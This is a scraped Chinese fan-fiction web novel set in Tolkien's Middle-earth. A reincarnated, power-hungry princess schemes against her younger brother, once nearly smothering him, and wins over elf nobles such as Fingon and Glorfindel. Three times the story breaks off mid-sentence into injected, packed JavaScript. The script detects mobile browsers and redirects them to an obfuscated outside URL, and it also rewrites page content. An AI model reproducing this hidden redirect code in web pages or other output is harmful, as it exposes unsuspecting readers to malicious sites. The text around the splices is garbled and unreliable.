《中土公主模拟器[魔戒]》 1. 第 1 章 【你已绑定[中土公主模拟器],接下来你将体验公主的生活。】 【正在抽取你此次的身份……】 [0岁,你出生了,出生在伊甸人的王室,是王室唯一的公主。] 伊甸人?你对这个王室毫无了解,倒不如说你现在还是一头雾水的状态,你记得自己似乎上一秒刚刚加班猝死吧? 新生的婴儿被舒适的棉布包裹着抱到某个身量高大的男人面前,你很平静地看向那个男人,他有着一头灿烂金发,五官深邃立体,总的来说长得很俊美,但这又和你有什么关系呢? 男人的嘴唇张合,你听到他说话的声音,不是你认识的任何一种语言,这让你更加困扰了。 但好在你讶异地看到他头上顶着的气泡里显示了一行字,那应该就是字幕了。 [贡多:这就是我们的女儿吗?谢谢你,雅维,我的妻子,你辛苦了。] 你眼前的画面发生移动,你的父亲贡多抱着你半跪在女人的床边,他们这对夫妻恩爱地相拥,你就被他们夹在中间。 好吧,你大概能明白自己现在的情况了,你猝死了,然后绑定了一个系统,现在正在体验当王室的公主。 听上去似乎不错,如果你没有自带病弱debuff的话,你的生活肯定会更爽的吧。 但是凭空跳出来的系统提示让你接下来的日子都不太好过。 [1岁,你先天体弱(获得病弱debuff)] 于是你出生以来动不动就咳嗽,三天一小病五天一大病,你怀疑这压根不是公主模拟器,而是病秧子模拟器吧? 时间就这样来到了你五岁那年,在你面无表情地喝完苦得要命的药水时,你的眼前久违地跳出了一条系统提示。 [5岁,你逐渐展露出惊人的美貌,王室将你奉为珍宝。] 你的美丽并非到现在才显露出来,早在很久以前,照顾你的嬷嬷还有侍女都会用怜爱的眼神注视你,嘴里时常念叨着,“我们的伊玟公主可真美丽呀,日后您的美丽是任何珍宝都无法比拟的。” 面对他们的夸奖,你的反应总是很平淡,你的父亲贡多有着哈多家族典型的金发蓝眼,至于你的母亲雅维则是来自贝奥家族,这个家族的人类往往有着一头如墨般的黑发,而你继承了母亲的黑发与父亲的蓝眸,就连五官也是极为精致,甚至放眼整个伊甸人家族再也找不到你这样完美的面庞了。 因此你的祖父哈多也曾笑着说你是伊露维塔赐给人类的礼物,这番言论在你出生前就有精灵智者预言。 在那则预言里说到:天空中最明亮的星辰坠落在这片土地,那是伊露维塔,也是众维拉送给次生儿女——人类,最美好的祝福。 而正如预言所说的,你出生的那一天,夜空中最明亮的星辰确实坠落,自此夜空少了一份光辉,而人类家族多了一份珍宝。 喝完那瓶药水,你用手帕擦拭唇角,你的母亲雅维带着你的弟弟格林来找你。 “伊玟,要去和弟弟去花园玩吗?”母亲半跪下来,双手搭在小你两岁的弟弟格林肩上,她笑着说,“格林早上一醒来就说要来找姐姐玩。” 你从椅子上下来,拍了拍自己的裙摆,格林已经迫不及待地跑到你身边,他走起路来蹦蹦跳跳的,那头遗传了父亲贡多的金发柔顺而蓬松,圆溜溜的蓝眼里装满了明晃晃的喜爱,他嘴里念叨着你的名字,“伊玟,姐姐,伊玟,姐姐。”他就这样交替着呼唤你。 他对你的喜爱是溢于言表的,但很可惜,他对你的喜爱注定得不到真诚的回应,这是在他出生,不,是在他出生以前就已经注定了的。 在你的父母决定再生下一个孩子来保护你的时候,就意味着你不会喜欢这个弟弟,尤其是在他们得知这个还未出世的孩子是个儿子时,无论是你的母亲还是你的父亲脸上都浮现出松了一口气的神色。 “太好了,这孩子以后一定能好好保护伊玟的。”母亲雅维喜极而泣。 而躲在门后目睹这一切的你却感到了莫名的烦躁,这当然不是因为未出生的弟弟分走了父母的注意力,说实话你本来就因为自带的美貌病弱设定吸引了太多注意力,可以说你的一举一动都在无数人的注视下,真正让你烦躁的是新生儿的到来会自然而然地分走你的权力。 你的弟弟会成为未来的君主,而你只能是公主,一辈子的公主,一想到这里,你的心中总会腾升起一股无名火。 因此当你的母亲发现偷看的你,并且对你招招手让你去到她的身边时,用柔软的嗓音让你触碰她的小腹,并说:“这就是你的弟弟,他会爱你,也会保护你。” 你那小小的手掌贴着她的肚子,你又在心里补充一句。 ——他还会死在你的手里,假如他妄图和你争夺权力的话。 时间回到现在,格林已经三岁了,他的长相柔美可爱,尤其和你待在一块的时候,他总是笑着的。 “我们去玩秋千好吗?”他兴冲冲地说,比你还要小一圈的手握住你的大拇指,“姐姐?” “我刚才喝了药,医师说我不能乱动。”这话医师确实说过,但你现在没感觉到什么不舒服,你是说身体上的不舒服,当然见到这个弟弟带来的心理上的不适就是另外一回事了。 格林皱起眉,你以为他会闹脾气的,就和很多这个年纪的小男孩一样唯我独尊,以自我为中心,稍微不顺心就大发雷霆,但是没有,他非但没有生气,反而皱眉着急地问你,“那你现在好点了吗?我知道药水很苦,啊对了——这个给你。” 他从口袋里摸出一颗饴糖塞到你的手里,“吃糖就不会苦了。” 你才不喜欢吃糖,因为你知道那药水的苦味根本就不是糖果的甜味压得住的,但你还是笑着说:“谢谢你,格林。” 格林摇晃着你的胳膊,“那摸摸我的头发吧,妈妈夸奖我的时候都会那么做。” 你伸出手,轻轻地抚摸他的头发,那发丝和你想的一样柔软,像是在触碰什么小动物的绒毛,他是多么喜欢你的触碰,在你要收回手的时候甚至还踮起脚尖想要主动贴着你的掌心。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789648|158069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了格林,我要去看书了。” 他一开始提议的荡秋千被你中途改为在大榕树下看书,这棵树的年纪少说也有几百年了,树干长得很奇特,中间留出了一个空洞,仿佛是为你量身定做的,你躲在树洞里借着从外面漏下的阳光看书,格林坐在你身边靠着你。 他中间有好几次想要去荡秋千,但都被他克制住了,他得陪在你身边,那是父母告诉他的,得要保护你,所以他得要将自己的想法置于你之后。 “伊玟……你为什么那么喜欢看书呢?”格林的声音里带着些许睡意,他的脑袋靠着你的胳膊,就像一只小动物那样依偎着你。 “因为读书能学到很多东西。”尤其是在这个完全不一样的世界,这个世界的知识体系和你上辈子身处的世界截然不同,这里有太多新奇的学科领域,例如矮人的冶炼技术,又比如诺多精灵高超的打造技艺。 更重要的是,你身体都病弱了,还不用知识来武装大脑那简直就是在自寻死路,尽管你绑定的系统似乎是可以存档和读档的。 你看了一会书,耳边传来格林浅浅的呼吸声,他睡着了。 你没去理会他,一直等到太阳落山,你才摇醒他,“格林,我们该回去了。” 格林含糊不清地应了一声,然后任由你牵着他往宫殿走去,才回到宫殿,格林身边的仆从就把他接走,你终于能够清净一会了。 但你还没高兴多久,你父亲贡多的随身侍从就找到了你,他向你单膝跪下,毕恭毕敬地说:“公主殿下,陛下请您去书房一趟。” “有什么事吗?”你问。 “陛下有位客人想要见您。”他给出的回答模棱两可,你敷衍地应了一声,而后前往书房,你走得慢,即便如此侍从也不敢越过你,而是始终保持着你一步之遥的距离,就这样跟在你身后。 你就这样穿过长廊,最后来到书房门前,一直停留在你身后的侍从这才上前为你打开门,你走入书房,看见你的父亲,以及坐在你父亲身边的精灵。 在此之前你不是没有见过精灵,但这位精灵气度非凡,显然和普通的精灵有所不同,他有着一头墨色长发,身量高大,身穿蓝白色的长袍,愈发衬得他气质出众。 这是一位俊美的精灵,同时也是一位好脾气的精灵,哪怕被你直视也没有愠意,而是浅笑着对你点头。 贡多这才开口向你介绍:“这位是诺多至高王芬国昐之子芬巩,他这次是专程来看你的。” 芬巩旋即说道:“我的领地气候宜人,更适合你修养身体,你可愿意来我的领地暂住一段时间?” 你所在的哈多家族虽然是诺多至高王芬国昐的臣属,但也不代表他们会专程过来看你,所以只有一个原因,那就是你的父母向精灵请求允许你在精灵的领地里养病。 就这样,你在初次见到这位名为芬巩的精灵的同时——面前也初次跳出了一个选项。 【芬巩邀请你去他的领地养病,你选择: A.欣然答应 B.希望过一段时间再去】 2. 第 2 章 就这样,你在你父亲还有精灵芬巩的注视下说出答案,“请恕我拒绝,我想再在这里待一会。” 听到你的拒绝,芬巩反而说:“我能够明白你的心情,我们精灵也会舍不得自己的故乡,但我可以保证,无论何时,我的领地都欢迎你的到来。” 你倒不是因为舍不得故乡,实际上你带着记忆降生这一点就使得你对这个人类国度的归属感很低,不过就算是归属感很低,那这个国度也本该是属于你的,你留在这里当然是为了发展自己的亲信,你总要培养一股属于自己的势力吧?否则之后又会有谁站在你这边呢? 不得不说,你的母亲和父亲决定把你送到精灵的领地,一方面或许确实是为了让你好好修养身体,但另外一方面,如此一来你也就被迫远离了政治中心,无异于你被变相的权力架空了,想到这里你的心情就变得没那么轻松了。 试想一下,你在这个时间点离开多尔罗明,等你回来的时候这里上上下下都是你弟弟格林的人,唉,这不是给你增加了很多夺权的阻力吗? 你对芬巩微微俯身行礼,你说:“殿下,多谢您的原谅,我也知晓能够去往精灵领地养病是莫大的恩赐,但我还是想多陪伴在我的双亲身边,毫无疑问的,您的领地是个美丽的地方,我曾听去过那的骑士说‘我未曾见过仙境,但去过精灵的宫殿后,我便明白了。’。” 无论是你对精灵宫殿的夸奖,还是你对亲情的重视,芬巩都无比赞同,他轻微地点头,接着说:“有智者在你诞生前给出过预言,‘天空中最明亮的星辰将会坠落,人类也迎来他们的珍宝’,现在看来的确如此。” 你的父亲贡多也出来打圆场,“伊玟,你是不是还要去医师那里看看?别耽误了时间。”他找了个借口把你支开了。 这正合你意,你也懒得待在这里和他们说些有的没的,你便借故离开,站在门口的侍从在你走出几步路后才跟了上来。 直到你的身影消失在长廊尽头,贡多才开口,“抱歉,刚才她多有冒犯。” 芬巩笑着说:“你怎么会认为这是冒犯呢?作为孩童她能顾及到许多,已经很难得了。”也难怪预言里还这样描述你(这份预言只在精灵内部流传,人类家族并不知晓),预言说:不同于露西恩如明月般永恒的美丽,她的美丽注定如流星般闪耀,虽然短暂却能留下浓墨重彩的一笔。 后来他们再度仔细分析这一则预言,发现真正留下深刻印记的不光是你的美貌,更是你的野心。 * 你先是去了医师那里喝完晚上的药水,再做了一些例行检查,等医师点点头你才离开。 回到房间,你的房间两面相邻的墙壁都镶嵌着书架,那书架最高一直延伸到天花板,你想要取最上面的书还得用梯子,有时候你刚刚取到书就迫不及待地看了起来,看得入迷了就索性坐在木梯上,由此照顾你的嬷嬷看到了,她惊慌失措地把你从木梯上抱下来,唯恐你磕着碰着了。 你讨厌这些无微不至的关心,就好像把你当成一件不能有瑕疵的宝贝,不过现在那位嬷嬷应该已经入睡了,你可以尽情地坐在梯子上看书。 但在你挑选今晚的睡前读物时你瞥见了旁边桌子上的一沓纸,左上角打了孔然后用圆环装订起来。 你想起来了,那是前些天你的双亲讨论过的骑士人选,通俗来说就是给你挑几个保镖。 睡前阅读计划暂时推迟,你拿起那份名单,一页一页地翻过去,翻到最后一页,有一张纸条从中滑落,你弯腰捡起来,那是一张草稿纸,在一众严格按照格式填写信息的名单里显得格外挑眼。 看那不规则的边缘,那还是不知道从哪里撕了一角的草稿纸,上面的文字不是用墨水写的,字迹很淡,应该是用燃烧后的火柴梗写的,但是字体工整,上面写着一行字—— 我的名字叫做玛丽,我想成为公主殿下的骑士。 你盯着那行字看了许久,而后浅浅地笑了起来,你想你找到骑士的人选了。 隔天,你早早醒来,摇响床头的铃铛,侍女鱼贯而入替你梳妆打扮,为你穿上浅金色连衣裙,领口和袖口都用金线绣着繁复的花纹,在侍女给你梳理头发的时候,你对着一旁的侍卫长说:“什么时候开始挑选骑士?” “今天就可以。”侍卫长说。 “很好,那就开始吧。” 早餐后你拒绝了格林的玩耍邀请,在一众侍女还有侍从的簇拥下来到训练场,侍卫长给你搬来一个小台子以便于你站在上面俯视那些正在训练的骑士预备役。 这些孩子比你大一两岁,都是从哈多家族的忠心臣属家族里挑选上来了,听说有的从一出生开始就为这次的挑选准备。 你的双亲给你的建议是至少挑选两个骑士从小开始培养,你站在台子上环视一圈,随便选了个红发的小男孩,“就他吧,至于剩下的一个名额……” 你拖长语调,从口袋里拿出那张纸条,然后问道:“玛丽是谁?写下这张纸条的玛丽可否让我一睹你的真容?” 刚才还闹哄哄的训练场顿时寂静一片,玛丽显然是个女孩的名字,在场的男孩面面相觑,过了好一会,你终于听到从角落里传来的一道微弱声音,那个穿着洗得发白工作服的褐发小女孩举起手,“我……是我,我、叫玛丽。” 侍卫长见状带着玛丽来到你面前,此时的你从台子上走下来,向她走近,她比你高半个头,但此时垂着脑袋,眉眼低垂,仔细看还会发现她死死攥住衣角的手还在颤抖。 “抬起头来,我看不清你的长相了。”说着,你伸出手抬起她的下巴,然后对她说,“你为什么觉得你适合当我的骑士?” “我天生力气就很大,在后厨我经常帮忙扛东西,而且我跑起来也很快。”某次她在夜里偷偷溜进训练场,尝试着使用那些骑士预备役的武器,发现那些武器对她来说无比顺手。 你收回手,“听上去很厉害,但你还忘了一点——你的勇气,足以让你把那张草稿纸塞到名单里,你勇气可嘉。” 玛丽忽然意识到了什么,她这才敢主动去看你,但她的目光是短暂的,快速的,她说:“我不明白您的意思。” “那我说得直接一些吧,你可以成为我的骑士。” “什么!?”玛丽一惊,她难以置信地睁大眼睛。 “就这么决定了。”你当机立断。 不多时,你定下骑士的消息传到你双亲的耳中,他们倒是没有要干涉的意思,他们向来如此,在微不足道的小事上都是你开心就好。 不过你的弟弟格林倒有很多问题想要问你,午餐席间他就问个不停,先是问你是否要去芬巩那里养病,然后又问你该不会偷偷离开吧,问完了这些就又问你怎么挑选了一位女孩当你的骑士。 他不解道:“女孩能够胜任你的骑士这一职位吗?” “你也说了,这是我的骑士,那么评判标准就在我的手中,而不在于你。”你回答他的时候都没看他一眼,始终慢条斯理地用刀叉切割牛肉。 格林一时之间不知道该怎么说了,他明明是在关心你,担心你挑选的骑士不合格,日后不能在危难时刻保护你,可你为什么会是这幅态度呢? 他虽然有些不开心,却没有表现出来,因为比起这个他更担心的是你去精灵领地养病的这件事。 这件事如同一块大石头始终压在他的心头,以至于在不久之后他就大病了一场。 要知道格林从出生以来就很健康,从未生过病,但这次的病来势汹汹,他先是高温不退,而后陷入梦魇说着许多胡话,在这些话语里大部分都是与你有关的,那段时间你都避开了格林的房间,你可不想被他传染了,自带病弱debuff本身就是一件很痛苦的事情了。 但是在听闻格林情况不乐观的时候,你还是没忍住去了一趟他的房间,当然不是因为担心他,而是在期待他的死亡,一旦他死了,那么就意味着你的竞争对手就少了一个。 你在深夜非常安静的时间点来到他的房间,隔着床帏你隐约看到他的身影,你静静地站在他的床边,看着他因为病痛而皱眉的样子,你来的时候确认过守夜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789649|158069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侍女还有嬷嬷都睡着了,只要你在这个时候下手,直接把他杀死……也算是解决了你的心头大患。 想着,你又靠近了几分,手里握着手帕,你慢条斯理地把手帕叠了几叠,大小正好能够捂住格林的口鼻,可就在你即将把手帕压在他的口鼻上之时—— 忽然之间,他突兀地睁开眼睛,失焦的眼睛看向你,他呢喃着你的名字,“伊玟,姐姐,伊玟……” 他怎么突然醒了?就在你愣神的那一秒,这机会就从你手中溜走了。 他的动静吵醒了守夜的侍女,急匆匆的脚步声传入你的耳中,你不耐烦地“啧”了一声,这才不情不愿地握着他的手做做样子,又用本该杀死他的手帕擦拭他的眼泪。 “不要离开这里好吗?不要去精灵那里好吗……我舍不得你。”他说着说着,眼角滑过的泪水打湿鬓发。 “我暂时不会离开的。”毕竟你还得要在这里发展自己的势力培养自己的亲信呢,哪能那么快离开呢? 听到你这么说,他这才缓慢地眨了下眼睛,“好,不离开。” 自那一晚之后他的病就突然开始好转,宫中都在流传是因为你的照顾才让格林好起来的,宫中的人都在感叹你们姐弟情深。 然而事实就是你很后悔自己那个晚上去看了格林,要是不多此一举他说不定就死了呢,但你当时没有存档,要是重新读档你就得要回到自己两岁那一年了,想一想就觉得划不来,你只能暂时先这么走下去。 除去格林的事情,其他事情倒是很符合你的预期,尤其是你选中的骑士玛丽,正如她所说的,她是个合格的骑士。 在接下来的几年里你都在培养自己的亲信还有阅读各类书籍中度过,等到你十一岁那年,你没有等来猫头鹰送的录取通知书,而是等来了芬巩的邀请函,这一次你没有拒绝,而是对你的双亲说:“我想去精灵那里看看,学习更多知识。”不光是为了学习知识,更是为了拉拢精灵,关键时刻也好让精灵助你一臂之力。 在临行前你的母亲雅维抱着你无声地流泪,你真搞不懂你只是离开一段时间而已,又不是什么生离死别的,她为什么要流泪呢?但你还是伸出手擦拭她的眼泪,“我还会回来的。” 格林克制着自己的眼泪,但最后还是在你看过来的时候落下眼泪,他说:“等你养好病了就会回来的对吗?” 因为想着能去精灵那里学习更多的知识,或许还能把你的身体养好,日后就能学习剑术和射箭了,你的心情大好,甚至还主动给了格林一个拥抱,你在他耳边说:“当然,我肯定会回来的。” 否则你怎么夺回王位呢? 格林深吸一口气,“好,那我会等你的,我也会变成一位合格的骑士然后好好保护你。” 这话就免了吧,你可不想一辈子都是被人保护的角色,你松开手,最后对着父亲贡多点点头就算是告别了。 做完这些事情你才转过身,走向来接你去芬巩领地的精灵,其中一位女精灵牵起你的手,温声对你说:“放心吧,你肯定会喜欢我们那的生活的。” 你沉默不语,那些精灵似乎误会了你的沉默,把你抱到马背上后那个名叫伊缀尔的女精灵就一直在主动和你说话,“其实他们原本不打算让我来接你的,但我自作主张跑出来了,就连我的父亲也只能妥协。” 你想起来了,伊缀尔……应该是图尔巩的女儿,传闻中的银足公主。 如果想要夺权成功,获得精灵的支持也是重要条件,所以你得尽可能把那些精灵贵族的好感度刷上去,得益于你的外表,那些精灵见到你的第一面好感度都不低,就连伊缀尔也不例外。 “能够见到你这是我的荣幸。”你轻轻地说。 伊缀尔笑着抚摸你的头发,“伊玟,我想不出会有谁真的讨厌你,虽然这是我第一次见到你,可我见到你便心生欢喜。” 所以说你的皮囊才最大的伪装,就连埃尔达都被欺骗了,他们猜不出这样的外表下的内心并非纯洁无瑕。 相反的,你的内心早已被野心填满。 3. 第 3 章 就这样,你在芬巩的领地内定居了下来,因为芬巩与图尔巩外加他们的父亲芬国昐的领地都靠在一块,所以你偶尔也会在这几个领地间来回走动,因为伊缀尔的缘故你反而在图尔巩那里停留的时间更长,除了你最开始的几年在芬巩那里居住,后来的时间大多在图尔巩的领地。 就连芬巩有时也会和自己的弟弟图尔巩开玩笑,说是他和他的女儿将你这份人类珍宝带走了。 而每每这时他们的妹妹阿瑞蒂尔就跳出来反驳,“她可不是什么珍宝,她是活生生的人,这份意义可比所谓的‘人类珍宝’‘维拉赠礼’来得重要!” 也正是因为这样你才更愿意留在图尔巩那里的,因为阿瑞蒂尔还有伊缀尔,她们从来不用珍宝来称呼你,而是选择叫你的通用语名字,但叫的最多的还是你的精灵语名弥尔洛斯。 精灵的医术确实比人类更加先进,你在芬巩那里待了几年,身体各项属性大幅度上升,但因为你本来就自带病弱debuff,所以就算提高了很多数值,你现在也只能说是到达普通人类的水平,但这对于你来说已经很不容易了。 一看身体恢复正常,你就开始想着点亮新的技能,比如说骑马,射箭还有剑术之类的,你厌倦了整天待在金碧辉煌的宫殿里除了读书还是读书,你喜欢读书不假,但不代表你可以仅靠书上的知识夺回属于你的权力,实战技能也很重要。 所以当你在阿瑞蒂尔还有伊缀尔的祝福下度过自己的十六岁生日时,你头一次说出了自己心中的愿望。 “我想要学习骑马还有射箭和剑术。”你把自己想学的一口气全都说了出来。 阿瑞蒂尔和伊缀尔这对姑侄相视一笑,阿瑞蒂尔说:“小弥尔,你这愿望是不是太贪心了?你没办法同时学会那么多技能的,不如慢慢来吧,先从骑马开始。” 伊缀尔说:“如果你要找一个马术老师,那么我可以保证最优秀的老师就在你面前了。” “伊缀尔你就别打趣我了,好了弥尔洛斯,快随我一同去挑选一匹适合你的小马驹吧,从小养起,它就会对你无比忠诚。”阿瑞蒂尔牵起你的手,她的手掌比你宽大一些,掌心温暖而干燥,你跟着她一直向前走去,就这样来到马场,在这片辽阔的草原上随处可见养得结实体壮的马匹,当然也还有一些没长大的小马驹。 “挑选小马驹首先要看它的眼神,马也会为自己挑选主人,你们得要经过眼神的确认才能保证你俩以后合得来。”阿瑞蒂尔一边走着一边告诉你如何挑选马匹,她是那样的细心且温和。 你们来到一群小马驹前,还没等你去看它们的眼神呢,那些小马驹就好奇地凑过来,用湿润的鼻子嗅嗅你的气味。 阿瑞蒂尔笑着挥手让它们保持距离以免吓到你,“嘘——往后退,别靠得太近了,你们会吓到她的。” 闻言,那几匹小马驹这才不情不愿地后退,它们清澈的眼睛都看向你,阿瑞蒂尔说:“看来不光是精灵和人类都喜欢你,就连动物也是,它们都很喜欢你,你只需要从中挑选一匹你喜欢的就行了。” 精灵养的马匹都很聪明,能听懂你们的对话,一听你只会从中挑选一匹小马驹,它们就有意无意地向你表达喜爱。 而你最后选中了一匹通体白色的小马驹,因为它在那一群小马驹里显得格外不卑不亢的,你很喜欢它这样的性格,你走到它面前,注视着它的眼睛,“你愿意成为我的小马驹吗?我会精心照顾你的。” 阿瑞蒂尔的声音在你耳边响起,“啊呀,这个好像是格洛芬德尔的马匹生的小马驹,得要问问他才行呢。” “格洛芬德尔?”你好像听过这个名字,但你应该没有见过这个精灵,因为你的记性很好只要是见过的精灵亦或是人类你都会多多少少留下一点印象,唯独这个格洛芬德尔,你没有任何印象。 就连阿瑞蒂尔也说:“你没见过他,他这阵子都在边境那里维护和平,不过应该要不了多久他就会回来了,到时候再问问他吧,我想他也不会拒绝你的。” 一个在边境维护和平的精灵,你的脑海里已经浮现出一个模糊的身影,想来这样的精灵应该也是严肃而具有压迫感的。 阿瑞蒂尔见你不说话,还以为你是在担心,她抚摸你的头发,“放心吧,他会答应的。” “不……我担心的不是这个。”在阿瑞蒂尔或者是伊缀尔面前你不介意扮演一个看似柔弱的妹妹角色,毕竟她们也很享受承担照顾者的角色,你说,“这样的精灵会不会很严肃呢?” “什么?严肃?哈哈——”阿瑞蒂尔笑了起来,她惊讶于你丰富的想象力,但也不忘安慰你,“怎么会,格洛芬德尔是一位很温和友善的精灵,你会和他很合得来的。” “真的吗?” “真的。”阿瑞蒂尔向你保证。 就在你的十六岁生日结束后不久,你就迎来了和格洛芬德尔的初次见面,那时的你正在草原上给那匹白色小马驹喂草,尽管你现在还不是它的主人,但你还是偷偷给他取了个名字,就叫洛丝,这和你的精灵语名字后半截发音很相似,就像是你分了一半的名字给它。 日后倘若你要上战场,坐骑就如同你的半身,所以你赋予它这样的名字也没错。 你为洛丝递上新鲜的青草,它就着你的双手慢条斯理地吃着,动作优雅而美丽,忽然之间,春风拂过草原,吹动满地的牧草,那些草叶掠过你的小腿肚,触感痒痒的。 洛丝的眼睫动了下,它突然看向远方,你顺着那方向看去,就这样,你遇见了骑在白马上的金发精灵格洛芬德尔。 “您……”你略带疑惑地开口,后者从马背上下来,他的五官俊美,眉眼带笑,他的声音明朗而率真,他说:“我都听白公主说了,你看上了我的小马驹对吗?” “您是格洛芬德尔。” “是的,但不是严肃的格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789650|158069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛芬德尔,而是友好的格洛芬德尔。”他半开玩笑地说。 “看得出来您很友好。”你光顾着和格洛芬德尔聊天,喂的青草都被洛丝吃光了,它还舔了一下你的手背,你被吓了一跳,转过头去看它。 你的耳边传来格洛芬德尔的笑声,“看来它都已经认定你这个主人了,只在乎你,都没分给我一个眼神。你以后就是它的主人了,也是唯一的主人。” “太好了,洛丝,我们以后就能待在一块了。”你高兴地摸了摸它的脑袋,格洛芬德尔说:“你还给它取了名字?洛丝,为什么呢,这是花朵的意思吧?” “但这也是我名字一半的同音词,从今往后它就是另外一半的我。” 格洛芬德尔略带惊讶,“难怪它会那么喜欢你呢。” 后来格洛芬德尔又说:“我听说你原先是在芬巩大人那里养病的。” “是的,我的身体好多了,所以就来这里了,这是个明智的选择,如果不这样,我也无法遇到您,更无法收获洛丝这样的小马驹。” 格洛芬德尔原本只是想要来和你打个招呼然后告诉你这匹小马驹送给你,就是这么简单,然后就去见图尔巩汇报边境的情况(尽管他已经在书信里详细说明过了),但与你接触后事情偏离了他预期的设想。 你的言语总是分寸得当的,能够博得精灵开心的,因此平日里经常有精灵来找你聊天,想象一下,那些美丽而高贵的精灵围坐在你身边,只为多听你说几句话,有的时候稚气未脱的精灵还会做些出格的事情来吸引你的注意力。 由此看来格洛芬德尔顾着你和聊天忘了时间其实也不奇怪。 他说:“除了马术,你还想学习什么呢?” 看吧,这就是你和精灵打好关系的原因,他们会无条件地帮助你,主动为你排忧解难,就像是现在的格洛芬德尔。 但也不能直接说明,总得要留个余地,你说:“我想要学的东西很多,但我想您今天应该累了,而且时间也不早了,我们还是早些回宫殿吧。” 被你这么一说,格洛芬德尔才发觉太阳西沉,傍晚将近,他说:“也是,我还得去图尔巩大人那里一趟。” 话是这么说的,但他也没有多着急,一来是因为边境的情况图尔巩基本都了解得差不多了,二是图尔巩本身性格宽容大度不会在意这些小细节。 于是他对你伸出手,“从这里走过去路途遥远,如果你不介意的话,还请让我带你一程。” 你没有搭上他的手,而是说:“我学过马术,我知道怎么上马。” 然后一个翻身稳稳地坐在马背上,转而对格洛芬德尔伸出手,“那么格洛芬德尔大人,需要我拉您一把吗?” 你们的角色转瞬间发生了变化。 格洛芬德尔抬头望向你,他未曾见过辛葛的女儿露西恩,但他却在你身上望见了那星辰的明辉,那份美丽足以让精灵都感到晕眩。 4. 第 4 章 最后等你们回到宫殿的时候傍晚的最后一缕余晖也隐没在地平线之下,格洛芬德尔先是去图尔巩那里述职,至于你则是先回了一趟自己的房间,入夜了气温降低,你给换一条稍微厚实一点的衣服,虽说你现在的体质比以前好多了,但是你可不敢保证自己自己绝对不会着凉感冒。 那种生病的感觉你不想再体验一遍了,因此你老老实实地回房间换了一条更加厚的长裙,外面还披了一件长衫,这身打扮应付春季的夜晚是绰绰有余的。 另外一边的格洛芬德尔来到图尔巩的书房,先是将边境的情况说明,“魔苟斯虽然放松了对边境的试探,但是我认为还是不能掉以轻心,我的直觉告诉我他还在谋划着什么。” 图尔巩点了点头,他说:“我能明白你的担心,但既然目前看来边境没有危险,我想如果加固边境的防守,哪怕魔苟斯真的发动攻击,我们也能有所应对。” 格洛芬德尔依旧低着头,图尔巩的声音再次响起,“你是和伊玟一同回来的?我都听侍卫说了,我很高兴见到你们能够友好相处。” 关于你的消息传播得可真快,格洛芬德尔在心里说了一句,他这才抬起头,“是的,不过我想应该没有精灵不会和她友好相处吧。” “的确。”你原先只是来图尔巩这里做客的,无奈你实在是太擅长博得精灵的好感了,所以图尔巩一直没主动提起护送你回兄长芬巩那里,他的妹妹阿瑞蒂尔倒是提起过一回,但是被他用其他话题给掩饰了过去。 既然这里的精灵首领都不开口,其他精灵便也就理所当然地认为你本就该待在这里,因为你的言行举止和精灵贵族别无二致,所以久而久之地,他们甚至都会忘记你人类的身份,只有在你生病的时候他们才会意识到,你并非不老不死的精灵,而是会生老病死的人类。 “但她这段时间开始长久的眺望多尔罗明的方向,我猜她可能是想家了……”图尔巩说,但他也没有要送你回多尔罗明的意思,一来是现在外面的世界不安全,二来你的身体才养好经不起长时间的舟车劳顿。 当然最重要的原因还是这里的精灵舍不得你的离开。 “我记得她是十一岁的去到芬巩大人的领地,现在也已经有五六年。”五六年对于精灵来说算不得什么,但在人类身上留下的痕迹却是那么明显,图尔巩又说,“现在还没有到她离开的时候。” 如果你愿意,你完全可以在他的领地里安度终生。 气氛莫名变得沉重,格洛芬德尔说:“那位公主殿下似乎还对剑术和射箭感兴趣。” “是吗?这一点她从未对我说起过。”图尔巩说,而他明明和你相处的时间更长。 “是的,所以如果有您的允许,我想我可以胜任她的老师这个职位。” 图尔巩沉吟片刻,才说:“可以,这样一来也能缓解她的思乡病,这件事情就交给你了。” * 当天晚上晚餐过后你回到自己的房间,伊缀尔也跟着你一同回来,她很是自然地靠在你的床上,用手卷着床帏垂下的金色流苏,嘴里念叨着你的名字,“弥尔洛斯,弥尔啊弥尔。” 你被她念叨得烦了,就走到床边,“怎么了,伊缀尔?” 伊缀尔那头美丽的金发在白色床铺上披散开来,如同金色小湖泊,她向你伸出手,把你也带到床上,然后侧过身,几缕金发如同湖泊的支流蜿蜒着流淌到你身边。 “你今天都和格洛芬德尔说了些什么?”这也是其他今天目睹你和格洛芬德尔有说有笑的精灵想知道的。 “我询问他能否把小马驹送给我,他同意了,然后他又问我在这里待得开心吗?” 